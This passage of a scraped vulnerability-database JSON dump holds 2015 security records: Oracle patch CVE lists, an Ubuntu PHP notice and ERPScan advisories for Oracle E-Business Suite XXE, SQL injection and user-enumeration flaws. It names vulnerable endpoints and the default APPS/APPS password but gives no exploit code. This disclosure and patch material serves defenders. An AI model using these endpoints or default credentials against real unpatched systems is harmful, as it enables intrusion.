"CVE-2015-4000", "CVE-2015-4851", "CVE-2015-4895", "CVE-2015-4905", "CVE-2015-4866", "CVE-2015-4832", "CVE-2015-4822", "CVE-2015-4830", "CVE-2015-4804", "CVE-2015-4816", "CVE-2015-0235", "CVE-2015-1793", "CVE-2015-4793", "CVE-2015-4863", "CVE-2015-4913", "CVE-2015-4892", "CVE-2014-0191", "CVE-2015-4796", "CVE-2015-4864", "CVE-2015-4794", "CVE-2015-4887", "CVE-2015-2642", "CVE-2015-4860", "CVE-2015-4868", "CVE-1999-0377", "CVE-2015-4820", "CVE-2015-4903", "CVE-2015-0286", "CVE-2015-4906", "CVE-2015-4843", "CVE-2015-4842", "CVE-2015-4910", "CVE-2015-4872", "CVE-2015-4846", "CVE-2014-3576", "CVE-2015-4876", "CVE-2014-3571", "CVE-2015-4883", "CVE-2014-7940", "CVE-2015-4858", "CVE-2015-4802", "CVE-2015-4882", "CVE-2015-4801", "CVE-2015-4878", "CVE-2015-4799", "CVE-2015-4811", "CVE-2015-4834", "CVE-2015-4762", "CVE-2015-4815", "CVE-2015-4812", "CVE-2015-4839", "CVE-2015-4798", "CVE-2015-4891", "CVE-2015-4734", "CVE-2015-4899", "CVE-2015-4865", "CVE-2015-4915", "CVE-2015-4871", "CVE-2015-4800", "CVE-2015-4869", "CVE-2015-4828", "CVE-2015-4803", "CVE-2015-4875", "CVE-2015-4902", "CVE-2015-4917", "CVE-2015-4909", "CVE-2015-4791", "CVE-2015-4805", "CVE-2015-4849", "CVE-2015-4879", "CVE-2015-4888", "CVE-2015-4838", "CVE-2015-4850", "CVE-2015-4806", "CVE-2015-4825", "CVE-2015-3144", "CVE-2015-4797", "CVE-2015-4792", "CVE-2015-4837", "CVE-2015-4904", "CVE-2015-4810", "CVE-2015-4827", "CVE-2014-0050", "CVE-2015-4817", "CVE-2015-4908", "CVE-2015-4912", "CVE-2015-4833", "CVE-2015-4847", "CVE-2015-4855", "CVE-2015-4848", "CVE-2015-4730", "CVE-2015-4819", "CVE-2015-4896", "CVE-2015-2633", "CVE-2015-4807", "CVE-2015-4901", "CVE-2015-4835", "CVE-2015-4873", "CVE-2015-4766", "CVE-2015-4795", "CVE-2015-4907", "CVE-2015-4859", "CVE-2015-1829", "CVE-2015-4898", "CVE-2015-4874", "CVE-2015-4836", "CVE-2015-4824", "CVE-2015-4900", "CVE-2015-4831", "CVE-2015-4861", "CVE-2015-4911", "CVE-2015-4886", "CVE-2015-2608", "CVE-2015-4809", "CVE-2015-4877", "CVE-2015-4844", "CVE-2015-4870", "CVE-2015-4881", "CVE-2015-4840", "CVE-2015-4856", "CVE-2015-4845", "CVE-2015-4914", "CVE-2015-4893", "CVE-2015-4916", "CVE-2015-4826", "CVE-2014-1569", "CVE-2015-4862", "CVE-2010-1622", "CVE-2015-4857", "CVE-2015-4890", "CVE-2015-4867", "CVE-2015-4884", "CVE-2015-4813", "CVE-2015-4841", "CVE-2015-4818", "CVE-2015-4880", "CVE-2015-1791", "CVE-2015-4823", "CVE-2015-4821"], "description": "Quarterly update closes 140 vulnerabilities in different applications.", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14755", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14755", "title": "Oracle / Sun / PeopleSoft / MySQL multiple security vulnerabilities", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-1338"], "description": "Symbolic links and hadlinks vulnerability in log files, privilege escalation.", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14720", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14720", "title": "apport security vulnerabilities", "type": "securityvulns", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2786-1\r\nOctober 28, 2015\r\n\r\nphp5 vulnerabilities\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nPHP could be made to crash if it processed a specially crafted file.\r\n\r\nSoftware Description:\r\n- php5: HTML-embedded scripting language interpreter\r\n\r\nDetails:\r\n\r\nIt was discovered that the PHP phar extension incorrectly handled certain\r\nfiles. A remote attacker could use this issue to cause PHP to crash,\r\nresulting in a denial of service. (CVE-2015-7803, CVE-2015-7804)\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n libapache2-mod-php5 5.6.11+dfsg-1ubuntu3.1\r\n php5-cgi 5.6.11+dfsg-1ubuntu3.1\r\n php5-cli 5.6.11+dfsg-1ubuntu3.1\r\n php5-fpm 5.6.11+dfsg-1ubuntu3.1\r\n\r\nUbuntu 15.04:\r\n libapache2-mod-php5 5.6.4+dfsg-4ubuntu6.4\r\n php5-cgi 5.6.4+dfsg-4ubuntu6.4\r\n php5-cli 5.6.4+dfsg-4ubuntu6.4\r\n php5-fpm 5.6.4+dfsg-4ubuntu6.4\r\n\r\nUbuntu 14.04 LTS:\r\n libapache2-mod-php5 5.5.9+dfsg-1ubuntu4.14\r\n php5-cgi 5.5.9+dfsg-1ubuntu4.14\r\n php5-cli 5.5.9+dfsg-1ubuntu4.14\r\n php5-fpm 5.5.9+dfsg-1ubuntu4.14\r\n\r\nUbuntu 12.04 LTS:\r\n libapache2-mod-php5 5.3.10-1ubuntu3.21\r\n php5-cgi 5.3.10-1ubuntu3.21\r\n php5-cli 5.3.10-1ubuntu3.21\r\n php5-fpm 5.3.10-1ubuntu3.21\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2786-1\r\n CVE-2015-7803, CVE-2015-7804\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/php5/5.6.11+dfsg-1ubuntu3.1\r\n https://launchpad.net/ubuntu/+source/php5/5.6.4+dfsg-4ubuntu6.4\r\n https://launchpad.net/ubuntu/+source/php5/5.5.9+dfsg-1ubuntu4.14\r\n https://launchpad.net/ubuntu/+source/php5/5.3.10-1ubuntu3.21\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32651", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32651", "title": "[USN-2786-1] PHP vulnerabilities", "type": "securityvulns", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-4849"], "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite - XXE injection\r\nAdvisory ID: [ERPSCAN-15-029]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 21.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4849\r\nCVSS Information\r\nCVSS Base Score: 6.8 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Medium (M)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability Partial (P)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1) An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2) An attacker can perform a DoS attack (for example, XML Entity Expansion).\r\n3) An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/IspPunchInServlet\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32654", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32654", "title": "[ERPSCAN-15-029] Oracle E-Business Suite - XXE injection Vulnerability", "type": "securityvulns", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:03", "bulletinFamily": "software", "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "description": "PHAR extension DoS.", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:VULN:14753", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14753", "title": "PHP security vulnerabilities", "type": "securityvulns", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-4846"], "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite SQL injection\r\nAdvisory ID: [ERPSCAN-15-026]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-026-oracle-e-business-suite-sql-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: SQL injection\r\nImpact: SQL injection, RCE\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4846\r\nCVSS Information\r\nCVSS Base Score: 3.6 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) High (H)\r\nAu : Authentication (Level of authentication needed to exploit) Single (S)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability None (N)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nThe problem is caused by an SQL injection vulnerability. The code\r\ncomprises an SQL statement that contains strings that can be altered\r\nby an attacker. The manipulated SQL statement can then be used to\r\nretrieve additional data from the database or to modify the data.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3, 12.1.4\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin, Egor Karbutov (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nOne of SQL extensions (afamexts.sql) does not filter user input values\r\nwhich may lead to SQL injection. The only defense mechanism is a\r\npassword for APPS. If an attacker knows the password (for example,\r\ndefault password APPS/APPS), he will be able to exploit SQL injection\r\nwith high privilege.\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-026-oracle-e-business-suite-sql-injection-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32657", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32657", "title": "[ERPSCAN-15-026] Oracle E-Business Suite - SQL injection Vulnerability", "type": "securityvulns", "cvss": {"score": 3.6, "vector": "AV:NETWORK/AC:HIGH/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-4886"], "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite XXE injection\r\nAdvisory ID: [ERPSCAN-15-028]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-028-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4886\r\nCVSS Information\r\nCVSS Base Score: 6.4 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Low (L)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability None (N)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1) An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2) An attacker can perform a DoS attack (for example, XML Entity Expansion).\r\n3) An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/copxml\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-028-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32653", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32653", "title": "[ERPSCAN-15-028] Oracle E-Business Suite - XXE injection Vulnerability", "type": "securityvulns", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-4845"], "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite - Database user enumeration\r\nAdvisory ID: [ERPSCAN-15-025]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-025-oracle-e-business-suite-database-user-enumeration-vulnerability/\r\nDate published:20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: User Enumeration\r\nImpact: user enumeration, SSRF\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4845\r\nCVSS Information\r\nCVSS Base Score: 4.3 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Medium (M)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity None (N)\r\nA : Impact to Availability None (N)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nThere is a script in EBS that is used to connect to the database and\r\ndisplays the connection status. Different connection results can help\r\nan attacker to find existing database accounts.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.2.4\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin, Egor Karbutov (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nDatabase users enumeration\r\nVunerable script: Aoljtest.js\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-025-oracle-e-business-suite-database-user-enumeration-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation 